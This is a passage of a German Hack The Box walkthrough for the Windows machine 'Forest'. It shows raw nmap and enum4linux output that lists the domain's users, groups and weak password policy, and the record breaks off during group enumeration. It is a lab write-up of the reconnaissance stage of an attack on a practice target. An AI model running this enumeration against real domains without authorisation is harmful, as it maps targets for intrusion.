[{"data":1,"prerenderedAt":1911},["ShallowReactive",2],{"post-hack-the-box-forest":3,"post-list":1634},{"id":4,"title":5,"alsoIn":6,"body":7,"category":1616,"date":1617,"description":1618,"draft":1619,"extension":1620,"image":1621,"links":6,"meta":1622,"navigation":1623,"order":6,"path":1624,"readingTime":1625,"seo":1626,"series":6,"stem":1627,"strength":1628,"tags":1629,"unlisted":1619,"updated":6,"__hash__":1633},"posts\u002Fposts\u002Fhack-the-box-forest.md","Hack The Box: Forest",null,{"type":8,"value":9,"toc":1610},"minimark",[10,26,31,39,42,47,51,56,59,69,72,75,78,81,84,87,90,93,96,99,102,105,108,111,114,117,120,123,126,129,132,135,138,141,144,147,150,153,156,159,162,165,168,171,174,177,180,188,191,194,197,200,205,208,211,214,216,219,222,225,228,231,234,237,239,242,245,248,250,253,256,259,262,264,267,270,273,276,279,282,284,287,290,293,296,299,302,304,307,310,313,316,319,322,325,328,330,333,336,339,342,345,348,351,354,357,360,363,366,369,372,375,378,381,384,387,390,393,396,399,402,405,408,411,414,417,420,423,426,429,432,435,438,441,444,447,450,453,456,459,462,465,468,471,474,477,480,483,486,489,492,495,498,501,504,507,510,513,516,519,522,525,528,530,533,543,546,549,551,554,556,559,562,568,571,574,580,583,589,592,595,598,601,604,607,609,612,615,618,621,624,627,630,633,636,639,642,645,648,651,654,657,660,663,666,669,672,675,678,681,684,687,690,693,696,699,702,705,708,710,713,715,717,719,721,723,725,727,729,731,734,736,739,741,744,746,748,750,752,754,757,759,762,764,766,769,771,774,776,778,780,782,784,786,788,791,793,796,799,802,805,808,811,814,816,818,820,822,824,827,830,833,836,839,842,845,848,851,854,857,860,863,866,869,872,875,878,881,884,887,890,893,896,899,902,905,908,911,914,917,920,923,926,929,932,935,938,941,944,947,950,953,956,958,960,963,965,967,970,972,974,976,979,982,985,988,991,994,997,1000,1003,1006,1009,1012,1015,1018,1021,1024,1027,1030,1033,1036,1039,1042,1045,1048,1051,1054,1057,1060,1063,1066,1068,1071,1073,1075,1077,1079,1082,1084,1086,1089,1091,1094,1097,1099,1101,1103,1106,1108,1110,1113,1115,1118,1121,1123,1125,1128,1130,1133,1135,1137,1139,1141,1143,1145,1147,1150,1152,1154,1156,1159,1161,1164,1166,1168,1171,1174,1176,1179,1182,1185,1188,1191,1193,1196,1199,1202,1205,1210,1213,1218,1221,1226,1229,1234,1237,1242,1245,1253,1258,1261,1266,1269,1274,1277,1282,1285,1290,1293,1298,1301,1304,1309,1312,1317,1320,1323,1326,1331,1334,1339,1342,1350,1353,1358,1361,1366,1369,1374,1377,1382,1385,1390,1393,1398,1401,1406,1409,1414,1417,1422,1425,1430,1433,1438,1441,1446,1449,1454,1457,1462,1465,1470,1473,1478,1481,1486,1489,1494,1497,1502,1505,1510,1513,1518,1521,1524,1529,1532,1537,1540,1545,1550,1553,1556,1559,1564,1567,1572,1575,1580,1583,1588,1591,1594,1599,1602,1605],[11,12,13,17,20,23],"ul",{},[14,15,16],"li",{},"OS: Windows",[14,18,19],{},"Difficulty: Easy",[14,21,22],{},"Target IP: 10.129.31.13",[14,24,25],{},"My IP: 10.10.14.71",[27,28,30],"h2",{"id":29},"zuerst-wie-immer-eintrag-in-der-hostsfile-erstellen","Zuerst wie immer Eintrag in der Hostsfile erstellen",[32,33,34],"p",{},[35,36],"img",{"alt":37,"src":38},"","\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F9c80c558-3604-4613-a853-f152aa722ca0.webp",[32,40,41],{},"Dann prüfen ob Maschine erreichbar ist",[32,43,44],{},[35,45],{"alt":37,"src":46},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F4943588d-06eb-4c75-a1d8-fe72456894f0.webp",[27,48,50],{"id":49},"nmap-scan-durchführen","NMAP Scan durchführen",[32,52,53],{},[35,54],{"alt":37,"src":55},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002F3f8e4c41-c14f-40ea-8fda-bc17b349a2cf.webp",[32,57,58],{},"Ergebnisse notieren:",[32,60,61,62,68],{},"Starting Nmap 7.93 ( ",[63,64,65],"a",{"href":65,"rel":66},"https:\u002F\u002Fnmap.org",[67],"nofollow"," ) at 2024-04-05 19:18 BST",[32,70,71],{},"Nmap scan report for forest.htb (10.129.31.13)",[32,73,74],{},"Host is up (0.028s latency).",[32,76,77],{},"Not shown: 989 closed tcp ports (reset)",[32,79,80],{},"PORT     STATE SERVICE      VERSION",[32,82,83],{},"53\u002Ftcp   open  domain       Simple DNS Plus",[32,85,86],{},"88\u002Ftcp   open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-04-05 18:25:47Z)",[32,88,89],{},"135\u002Ftcp  open  msrpc        Microsoft Windows RPC",[32,91,92],{},"139\u002Ftcp  open  netbios-ssn  Microsoft Windows netbios-ssn",[32,94,95],{},"389\u002Ftcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)",[32,97,98],{},"445\u002Ftcp  open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)",[32,100,101],{},"464\u002Ftcp  open  kpasswd5?",[32,103,104],{},"593\u002Ftcp  open  ncacn_http   Microsoft Windows RPC over HTTP 1.0",[32,106,107],{},"636\u002Ftcp  open  tcpwrapped",[32,109,110],{},"3268\u002Ftcp open  ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)",[32,112,113],{},"3269\u002Ftcp open  tcpwrapped",[32,115,116],{},"Service Info: Host: FOREST; OS: Windows; CPE: cpe:\u002Fo:microsoft:windows",[32,118,119],{},"Host script results:",[32,121,122],{},"| smb2-security-mode:",[32,124,125],{},"|   311:",[32,127,128],{},"|_    Message signing enabled and required",[32,130,131],{},"| smb-security-mode:",[32,133,134],{},"|   account_used: guest",[32,136,137],{},"|   authentication_level: user",[32,139,140],{},"|   challenge_response: supported",[32,142,143],{},"|_  message_signing: required",[32,145,146],{},"| smb2-time:",[32,148,149],{},"|   date: 2024-04-05T18:25:51",[32,151,152],{},"|_  start_date: 2024-04-05T18:20:56",[32,154,155],{},"| smb-os-discovery:",[32,157,158],{},"|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)",[32,160,161],{},"|   Computer name: FOREST",[32,163,164],{},"|   NetBIOS computer name: FOREST\\x00",[32,166,167],{},"|   Domain name: htb.local",[32,169,170],{},"|   Forest name: htb.local",[32,172,173],{},"|   FQDN: FOREST.htb.local",[32,175,176],{},"|_  System time: 2024-04-05T11:25:52-07:00",[32,178,179],{},"|_clock-skew: mean: 2h26m51s, deviation: 4h02m32s, median: 6m49s",[32,181,182,183,187],{},"Service detection performed. Please report any incorrect results at ",[63,184,185],{"href":185,"rel":186},"https:\u002F\u002Fnmap.org\u002Fsubmit\u002F",[67]," .",[32,189,190],{},"Nmap done: 1 IP address (1 host up) scanned in 17.32 seconds",[32,192,193],{},"Man erkennt sofort das es ein Windows Host ist. Dazu noch zu 99% ein Domain Controller, welcher die Domäne \"htb.local\" bereitstellt.",[32,195,196],{},"Die Infos reichen mir aber noch nicht, darum sammle ich noch mehr.",[32,198,199],{},"Dafür nehm ich z. B. \"enum4linux\".",[32,201,202],{},[35,203],{"alt":37,"src":204},"\u002Fimages\u002Fposts\u002Fhack-the-box-forest\u002Fattachments\u002Fc751dd7c-403f-42c4-8f59-3702af471afd.webp",[32,206,207],{},"Ergebnisse wieder notieren:",[32,209,210],{},"==========================",[32,212,213],{},"|    Target Information    |",[32,215,210],{},[32,217,218],{},"Target ........... forest.htb",[32,220,221],{},"RID Range ........ 500-550,1000-1050",[32,223,224],{},"Username ......... ''",[32,226,227],{},"Password ......... ''",[32,229,230],{},"Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none",[32,232,233],{},"==================================================",[32,235,236],{},"|    Enumerating Workgroup\u002FDomain on forest.htb    |",[32,238,233],{},[32,240,241],{},"[E] Can't find workgroup\u002Fdomain",[32,243,244],{},"==========================================",[32,246,247],{},"|    Nbtstat Information for forest.htb    |",[32,249,244],{},[32,251,252],{},"Looking up status of 10.129.31.13",[32,254,255],{},"No reply from 10.129.31.13",[32,257,258],{},"===================================",[32,260,261],{},"|    Session Check on forest.htb    |",[32,263,258],{},[32,265,266],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 437.",[32,268,269],{},"[+] Server forest.htb allows sessions using username '', password ''",[32,271,272],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 451.",[32,274,275],{},"[+] Got domain\u002Fworkgroup name:",[32,277,278],{},"=========================================",[32,280,281],{},"|    Getting domain SID for forest.htb    |",[32,283,278],{},[32,285,286],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 359.",[32,288,289],{},"Domain Name: HTB",[32,291,292],{},"Domain Sid: S-1-5-21-3072663084-364016917-1341370565",[32,294,295],{},"[+] Host is part of a domain (not a workgroup)",[32,297,298],{},"====================================",[32,300,301],{},"|    OS information on forest.htb    |",[32,303,298],{},[32,305,306],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 458.",[32,308,309],{},"Use of uninitialized value $os_info in concatenation (.) or string at .\u002Fenum4linux.pl line 464.",[32,311,312],{},"[+] Got OS info for forest.htb from smbclient:",[32,314,315],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 467.",[32,317,318],{},"[+] Got OS info for forest.htb from srvinfo:",[32,320,321],{},"do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED",[32,323,324],{},"===========================",[32,326,327],{},"|    Users on forest.htb    |",[32,329,324],{},[32,331,332],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 866.",[32,334,335],{},"index: 0x2137 RID: 0x463 acb: 0x00020015 Account: $331000-VK4ADACQNUCA\tName: (null)\tDesc: (null)",[32,337,338],{},"index: 0xfbc RID: 0x1f4 acb: 0x00000010 Account: Administrator\tName: Administrator\tDesc: Built-in account for administering the computer\u002Fdomain",[32,340,341],{},"index: 0x2369 RID: 0x47e acb: 0x00000210 Account: andy\tName: Andy Hislip\tDesc: (null)",[32,343,344],{},"index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount\tName: (null)\tDesc: A user account managed by the system.",[32,346,347],{},"index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest\tName: (null)\tDesc: Built-in account for guest access to the computer\u002Fdomain",[32,349,350],{},"index: 0x2352 RID: 0x478 acb: 0x00000210 Account: HealthMailbox0659cc1\tName: HealthMailbox-EXCH01-010\tDesc: (null)",[32,352,353],{},"index: 0x234b RID: 0x471 acb: 0x00000210 Account: HealthMailbox670628e\tName: HealthMailbox-EXCH01-003\tDesc: (null)",[32,355,356],{},"index: 0x234d RID: 0x473 acb: 0x00000210 Account: HealthMailbox6ded678\tName: HealthMailbox-EXCH01-005\tDesc: (null)",[32,358,359],{},"index: 0x2351 RID: 0x477 acb: 0x00000210 Account: HealthMailbox7108a4e\tName: HealthMailbox-EXCH01-009\tDesc: (null)",[32,361,362],{},"index: 0x234e RID: 0x474 acb: 0x00000210 Account: HealthMailbox83d6781\tName: HealthMailbox-EXCH01-006\tDesc: (null)",[32,364,365],{},"index: 0x234c RID: 0x472 acb: 0x00000210 Account: HealthMailbox968e74d\tName: HealthMailbox-EXCH01-004\tDesc: (null)",[32,367,368],{},"index: 0x2350 RID: 0x476 acb: 0x00000210 Account: HealthMailboxb01ac64\tName: HealthMailbox-EXCH01-008\tDesc: (null)",[32,370,371],{},"index: 0x234a RID: 0x470 acb: 0x00000210 Account: HealthMailboxc0a90c9\tName: HealthMailbox-EXCH01-002\tDesc: (null)",[32,373,374],{},"index: 0x2348 RID: 0x46e acb: 0x00000210 Account: HealthMailboxc3d7722\tName: HealthMailbox-EXCH01-Mailbox-Database-1118319013\tDesc: (null)",[32,376,377],{},"index: 0x2349 RID: 0x46f acb: 0x00000210 Account: HealthMailboxfc9daad\tName: HealthMailbox-EXCH01-001\tDesc: (null)",[32,379,380],{},"index: 0x234f RID: 0x475 acb: 0x00000210 Account: HealthMailboxfd87238\tName: HealthMailbox-EXCH01-007\tDesc: (null)",[32,382,383],{},"index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt\tName: (null)\tDesc: Key Distribution Center Service Account",[32,385,386],{},"index: 0x2360 RID: 0x47a acb: 0x00000210 Account: lucinda\tName: Lucinda Berger\tDesc: (null)",[32,388,389],{},"index: 0x236a RID: 0x47f acb: 0x00000210 Account: mark\tName: Mark Brandt\tDesc: (null)",[32,391,392],{},"index: 0x236b RID: 0x480 acb: 0x00000210 Account: santi\tName: Santi Rodriguez\tDesc: (null)",[32,394,395],{},"index: 0x235c RID: 0x479 acb: 0x00000210 Account: sebastien\tName: Sebastien Caron\tDesc: (null)",[32,397,398],{},"index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb\tName: Microsoft Exchange Migration\tDesc: (null)",[32,400,401],{},"index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb\tName: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}\tDesc: (null)",[32,403,404],{},"index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb\tName: Microsoft Exchange Approval Assistant\tDesc: (null)",[32,406,407],{},"index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18\tName: Discovery Search Mailbox\tDesc: (null)",[32,409,410],{},"index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a\tName: Microsoft Exchange\tDesc: (null)",[32,412,413],{},"index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb\tName: E4E Encryption Store - Active\tDesc: (null)",[32,415,416],{},"index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549\tName: Microsoft Exchange Federation Mailbox\tDesc: (null)",[32,418,419],{},"index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b\tName: Microsoft Exchange\tDesc: (null)",[32,421,422],{},"index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b\tName: Microsoft Exchange\tDesc: (null)",[32,424,425],{},"index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco\tName: svc-alfresco\tDesc: (null)",[32,427,428],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 881.",[32,430,431],{},"user:[Administrator] rid:[0x1f4]",[32,433,434],{},"user:[Guest] rid:[0x1f5]",[32,436,437],{},"user:[krbtgt] rid:[0x1f6]",[32,439,440],{},"user:[DefaultAccount] rid:[0x1f7]",[32,442,443],{},"user:[$331000-VK4ADACQNUCA] rid:[0x463]",[32,445,446],{},"user:[SM_2c8eef0a09b545acb] rid:[0x464]",[32,448,449],{},"user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]",[32,451,452],{},"user:[SM_75a538d3025e4db9a] rid:[0x466]",[32,454,455],{},"user:[SM_681f53d4942840e18] rid:[0x467]",[32,457,458],{},"user:[SM_1b41c9286325456bb] rid:[0x468]",[32,460,461],{},"user:[SM_9b69f1b9d2cc45549] rid:[0x469]",[32,463,464],{},"user:[SM_7c96b981967141ebb] rid:[0x46a]",[32,466,467],{},"user:[SM_c75ee099d0a64c91b] rid:[0x46b]",[32,469,470],{},"user:[SM_1ffab36a2f5f479cb] rid:[0x46c]",[32,472,473],{},"user:[HealthMailboxc3d7722] rid:[0x46e]",[32,475,476],{},"user:[HealthMailboxfc9daad] rid:[0x46f]",[32,478,479],{},"user:[HealthMailboxc0a90c9] rid:[0x470]",[32,481,482],{},"user:[HealthMailbox670628e] rid:[0x471]",[32,484,485],{},"user:[HealthMailbox968e74d] rid:[0x472]",[32,487,488],{},"user:[HealthMailbox6ded678] rid:[0x473]",[32,490,491],{},"user:[HealthMailbox83d6781] rid:[0x474]",[32,493,494],{},"user:[HealthMailboxfd87238] rid:[0x475]",[32,496,497],{},"user:[HealthMailboxb01ac64] rid:[0x476]",[32,499,500],{},"user:[HealthMailbox7108a4e] rid:[0x477]",[32,502,503],{},"user:[HealthMailbox0659cc1] rid:[0x478]",[32,505,506],{},"user:[sebastien] rid:[0x479]",[32,508,509],{},"user:[lucinda] rid:[0x47a]",[32,511,512],{},"user:[svc-alfresco] rid:[0x47b]",[32,514,515],{},"user:[andy] rid:[0x47e]",[32,517,518],{},"user:[mark] rid:[0x47f]",[32,520,521],{},"user:[santi] rid:[0x480]",[32,523,524],{},"=======================================",[32,526,527],{},"|    Share Enumeration on forest.htb    |",[32,529,524],{},[32,531,532],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 640.",[534,535,540],"pre",{"className":536,"code":538,"language":539},[537],"language-text","Sharename       Type      Comment\n\n---------       ----      -------\n","text",[541,542,538],"code",{"__ignoreMap":37},[32,544,545],{},"SMB1 disabled -- no workgroup available",[32,547,548],{},"[+] Attempting to map shares on forest.htb",[32,550,233],{},[32,552,553],{},"|    Password Policy Information for forest.htb    |",[32,555,233],{},[32,557,558],{},"[+] Attaching to forest.htb using a NULL share",[32,560,561],{},"[+] Trying protocol 139\u002FSMB...",[534,563,566],{"className":564,"code":565,"language":539},[537],"\\[!\\] Protocol failed: Cannot request session (Called Name:FOREST.HTB)\n",[541,567,565],{"__ignoreMap":37},[32,569,570],{},"[+] Trying protocol 445\u002FSMB...",[32,572,573],{},"[+] Found domain(s):",[534,575,578],{"className":576,"code":577,"language":539},[537],"\\[+\\] HTB\n\n\\[+\\] Builtin\n",[541,579,577],{"__ignoreMap":37},[32,581,582],{},"[+] Password Info for Domain: HTB",[534,584,587],{"className":585,"code":586,"language":539},[537],"\\[+\\] Minimum password length: 7\n\n\\[+\\] Password history length: 24\n\n\\[+\\] Maximum password age: Not Set\n\n\\[+\\] Password Complexity Flags: 000000\n\n    \\[+\\] Domain Refuse Password Change: 0\n\n    \\[+\\] Domain Password Store Cleartext: 0\n\n    \\[+\\] Domain Password Lockout Admins: 0\n\n    \\[+\\] Domain Password No Clear Change: 0\n\n    \\[+\\] Domain Password No Anon Change: 0\n\n    \\[+\\] Domain Password Complex: 0\n\n\\[+\\] Minimum password age: 1 day 4 minutes \n\n\\[+\\] Reset Account Lockout Counter: 30 minutes \n\n\\[+\\] Locked Account Duration: 30 minutes \n\n\\[+\\] Account Lockout Threshold: None\n\n\\[+\\] Forced Log off Time: Not Set\n",[541,588,586],{"__ignoreMap":37},[32,590,591],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 501.",[32,593,594],{},"[+] Retieved partial password policy with rpcclient:",[32,596,597],{},"Password Complexity: Disabled",[32,599,600],{},"Minimum Password Length: 7",[32,602,603],{},"============================",[32,605,606],{},"|    Groups on forest.htb    |",[32,608,603],{},[32,610,611],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 542.",[32,613,614],{},"[+] Getting builtin groups:",[32,616,617],{},"group:[Account Operators] rid:[0x224]",[32,619,620],{},"group:[Pre-Windows 2000 Compatible Access] rid:[0x22a]",[32,622,623],{},"group:[Incoming Forest Trust Builders] rid:[0x22d]",[32,625,626],{},"group:[Windows Authorization Access Group] rid:[0x230]",[32,628,629],{},"group:[Terminal Server License Servers] rid:[0x231]",[32,631,632],{},"group:[Administrators] rid:[0x220]",[32,634,635],{},"group:[Users] rid:[0x221]",[32,637,638],{},"group:[Guests] rid:[0x222]",[32,640,641],{},"group:[Print Operators] rid:[0x226]",[32,643,644],{},"group:[Backup Operators] rid:[0x227]",[32,646,647],{},"group:[Replicator] rid:[0x228]",[32,649,650],{},"group:[Remote Desktop Users] rid:[0x22b]",[32,652,653],{},"group:[Network Configuration Operators] rid:[0x22c]",[32,655,656],{},"group:[Performance Monitor Users] rid:[0x22e]",[32,658,659],{},"group:[Performance Log Users] rid:[0x22f]",[32,661,662],{},"group:[Distributed COM Users] rid:[0x232]",[32,664,665],{},"group:[IIS_IUSRS] rid:[0x238]",[32,667,668],{},"group:[Cryptographic Operators] rid:[0x239]",[32,670,671],{},"group:[Event Log Readers] rid:[0x23d]",[32,673,674],{},"group:[Certificate Service DCOM Access] rid:[0x23e]",[32,676,677],{},"group:[RDS Remote Access Servers] rid:[0x23f]",[32,679,680],{},"group:[RDS Endpoint Servers] rid:[0x240]",[32,682,683],{},"group:[RDS Management Servers] rid:[0x241]",[32,685,686],{},"group:[Hyper-V Administrators] rid:[0x242]",[32,688,689],{},"group:[Access Control Assistance Operators] rid:[0x243]",[32,691,692],{},"group:[Remote Management Users] rid:[0x244]",[32,694,695],{},"group:[System Managed Accounts Group] rid:[0x245]",[32,697,698],{},"group:[Storage Replica Administrators] rid:[0x246]",[32,700,701],{},"group:[Server Operators] rid:[0x225]",[32,703,704],{},"[+] Getting builtin group memberships:",[32,706,707],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 574.",[32,709,707],{},[32,711,712],{},"Group 'Guests' (RID: 546) has member: Couldn't lookup SIDs",[32,714,707],{},[32,716,707],{},[32,718,707],{},[32,720,707],{},[32,722,707],{},[32,724,707],{},[32,726,707],{},[32,728,707],{},[32,730,707],{},[32,732,733],{},"Group 'Windows Authorization Access Group' (RID: 560) has member: Couldn't lookup SIDs",[32,735,707],{},[32,737,738],{},"Group 'Pre-Windows 2000 Compatible Access' (RID: 554) has member: Couldn't lookup SIDs",[32,740,707],{},[32,742,743],{},"Group 'System Managed Accounts Group' (RID: 581) has member: Couldn't lookup SIDs",[32,745,707],{},[32,747,707],{},[32,749,707],{},[32,751,707],{},[32,753,707],{},[32,755,756],{},"Group 'Users' (RID: 545) has member: Couldn't lookup SIDs",[32,758,707],{},[32,760,761],{},"Group 'Administrators' (RID: 544) has member: Couldn't lookup SIDs",[32,763,707],{},[32,765,707],{},[32,767,768],{},"Group 'Account Operators' (RID: 548) has member: Couldn't lookup SIDs",[32,770,707],{},[32,772,773],{},"Group 'IIS_IUSRS' (RID: 568) has member: Couldn't lookup SIDs",[32,775,707],{},[32,777,707],{},[32,779,707],{},[32,781,707],{},[32,783,707],{},[32,785,707],{},[32,787,707],{},[32,789,790],{},"Group 'Remote Management Users' (RID: 580) has member: Couldn't lookup SIDs",[32,792,611],{},[32,794,795],{},"[+] Getting local groups:",[32,797,798],{},"group:[Cert Publishers] rid:[0x205]",[32,800,801],{},"group:[RAS and IAS Servers] rid:[0x229]",[32,803,804],{},"group:[Allowed RODC Password Replication Group] rid:[0x23b]",[32,806,807],{},"group:[Denied RODC Password Replication Group] rid:[0x23c]",[32,809,810],{},"group:[DnsAdmins] rid:[0x44d]",[32,812,813],{},"[+] Getting local group memberships:",[32,815,707],{},[32,817,707],{},[32,819,707],{},[32,821,707],{},[32,823,707],{},[32,825,826],{},"Group 'Denied RODC Password Replication Group' (RID: 572) has member: Couldn't lookup SIDs",[32,828,829],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 593.",[32,831,832],{},"[+] Getting domain groups:",[32,834,835],{},"group:[Enterprise Read-only Domain Controllers] rid:[0x1f2]",[32,837,838],{},"group:[Domain Admins] rid:[0x200]",[32,840,841],{},"group:[Domain Users] rid:[0x201]",[32,843,844],{},"group:[Domain Guests] rid:[0x202]",[32,846,847],{},"group:[Domain Computers] rid:[0x203]",[32,849,850],{},"group:[Domain Controllers] rid:[0x204]",[32,852,853],{},"group:[Schema Admins] rid:[0x206]",[32,855,856],{},"group:[Enterprise Admins] rid:[0x207]",[32,858,859],{},"group:[Group Policy Creator Owners] rid:[0x208]",[32,861,862],{},"group:[Read-only Domain Controllers] rid:[0x209]",[32,864,865],{},"group:[Cloneable Domain Controllers] rid:[0x20a]",[32,867,868],{},"group:[Protected Users] rid:[0x20d]",[32,870,871],{},"group:[Key Admins] rid:[0x20e]",[32,873,874],{},"group:[Enterprise Key Admins] rid:[0x20f]",[32,876,877],{},"group:[DnsUpdateProxy] rid:[0x44e]",[32,879,880],{},"group:[Organization Management] rid:[0x450]",[32,882,883],{},"group:[Recipient Management] rid:[0x451]",[32,885,886],{},"group:[View-Only Organization Management] rid:[0x452]",[32,888,889],{},"group:[Public Folder Management] rid:[0x453]",[32,891,892],{},"group:[UM Management] rid:[0x454]",[32,894,895],{},"group:[Help Desk] rid:[0x455]",[32,897,898],{},"group:[Records Management] rid:[0x456]",[32,900,901],{},"group:[Discovery Management] rid:[0x457]",[32,903,904],{},"group:[Server Management] rid:[0x458]",[32,906,907],{},"group:[Delegated Setup] rid:[0x459]",[32,909,910],{},"group:[Hygiene Management] rid:[0x45a]",[32,912,913],{},"group:[Compliance Management] rid:[0x45b]",[32,915,916],{},"group:[Security Reader] rid:[0x45c]",[32,918,919],{},"group:[Security Administrator] rid:[0x45d]",[32,921,922],{},"group:[Exchange Servers] rid:[0x45e]",[32,924,925],{},"group:[Exchange Trusted Subsystem] rid:[0x45f]",[32,927,928],{},"group:[Managed Availability Servers] rid:[0x460]",[32,930,931],{},"group:[Exchange Windows Permissions] rid:[0x461]",[32,933,934],{},"group:[ExchangeLegacyInterop] rid:[0x462]",[32,936,937],{},"group:[$D31000-NSEL5BRJ63V7] rid:[0x46d]",[32,939,940],{},"group:[Service Accounts] rid:[0x47c]",[32,942,943],{},"group:[Privileged IT Accounts] rid:[0x47d]",[32,945,946],{},"group:[test] rid:[0x13ed]",[32,948,949],{},"[+] Getting domain group memberships:",[32,951,952],{},"Use of uninitialized value $global_workgroup in concatenation (.) or string at .\u002Fenum4linux.pl line 614.",[32,954,955],{},"Group 'Group Policy Creator Owners' (RID: 520) has member: HTB\\Administrator",[32,957,952],{},[32,959,952],{},[32,961,962],{},"Group 'Domain Controllers' (RID: 516) has member: HTB\\FOREST$",[32,964,952],{},[32,966,952],{},[32,968,969],{},"Group '$D31000-NSEL5BRJ63V7' (RID: 1133) has member: HTB\\EXCH01$",[32,971,952],{},[32,973,952],{},[32,975,952],{},[32,977,978],{},"Group 'Domain Users' (RID: 513) has member: HTB\\Administrator",[32,980,981],{},"Group 'Domain Users' (RID: 513) has member: HTB\\DefaultAccount",[32,983,984],{},"Group 'Domain Users' (RID: 513) has member: HTB\\krbtgt",[32,986,987],{},"Group 'Domain Users' (RID: 513) has member: HTB\\$331000-VK4ADACQNUCA",[32,989,990],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_2c8eef0a09b545acb",[32,992,993],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_ca8c2ed5bdab4dc9b",[32,995,996],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_75a538d3025e4db9a",[32,998,999],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_681f53d4942840e18",[32,1001,1002],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_1b41c9286325456bb",[32,1004,1005],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_9b69f1b9d2cc45549",[32,1007,1008],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_7c96b981967141ebb",[32,1010,1011],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_c75ee099d0a64c91b",[32,1013,1014],{},"Group 'Domain Users' (RID: 513) has member: HTB\\SM_1ffab36a2f5f479cb",[32,1016,1017],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailboxc3d7722",[32,1019,1020],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailboxfc9daad",[32,1022,1023],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailboxc0a90c9",[32,1025,1026],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailbox670628e",[32,1028,1029],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailbox968e74d",[32,1031,1032],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailbox6ded678",[32,1034,1035],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailbox83d6781",[32,1037,1038],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailboxfd87238",[32,1040,1041],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailboxb01ac64",[32,1043,1044],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailbox7108a4e",[32,1046,1047],{},"Group 'Domain Users' (RID: 513) has member: HTB\\HealthMailbox0659cc1",[32,1049,1050],{},"Group 'Domain Users' (RID: 513) has member: HTB\\sebastien",[32,1052,1053],{},"Group 'Domain Users' (RID: 513) has member: HTB\\lucinda",[32,1055,1056],{},"Group 'Domain Users' (RID: 513) has member: HTB\\svc-alfresco",[32,1058,1059],{},"Group 'Domain Users' (RID: 513) has member: HTB\\andy",[32,1061,1062],{},"Group 'Domain Users' (RID: 513) has member: HTB\\mark",[32,1064,1065],{},"Group 'Domain Users' (RID: 513) has member: HTB\\santi",[32,1067,952],{},[32,1069,1070],{},"Group 'Exchange Windows Permissions' (RID: 1121) has member: HTB\\Exchange Trusted Subsystem",[32,1072,952],{},[32,1074,952],{},[32,1076,952],{},[32,1078,952],{},[32,1080,1081],{},"Group 'Enterprise Admins' (RID: 519) has member: HTB\\Administrator",[32,1083,952],{},[32,1085,952],{},[32,1087,1088],{},"Group 'Exchange Trusted Subsystem' (RID: 1119) has member: HTB\\EXCH01$",[32,1090,952],{},[32,1092,1093],{},"Group 'Exchange Servers' (RID: 1118) has member: HTB\\EXCH01$",[32,1095,1096],{},"Group 'Exchange Servers' (RID: 1118) has member: 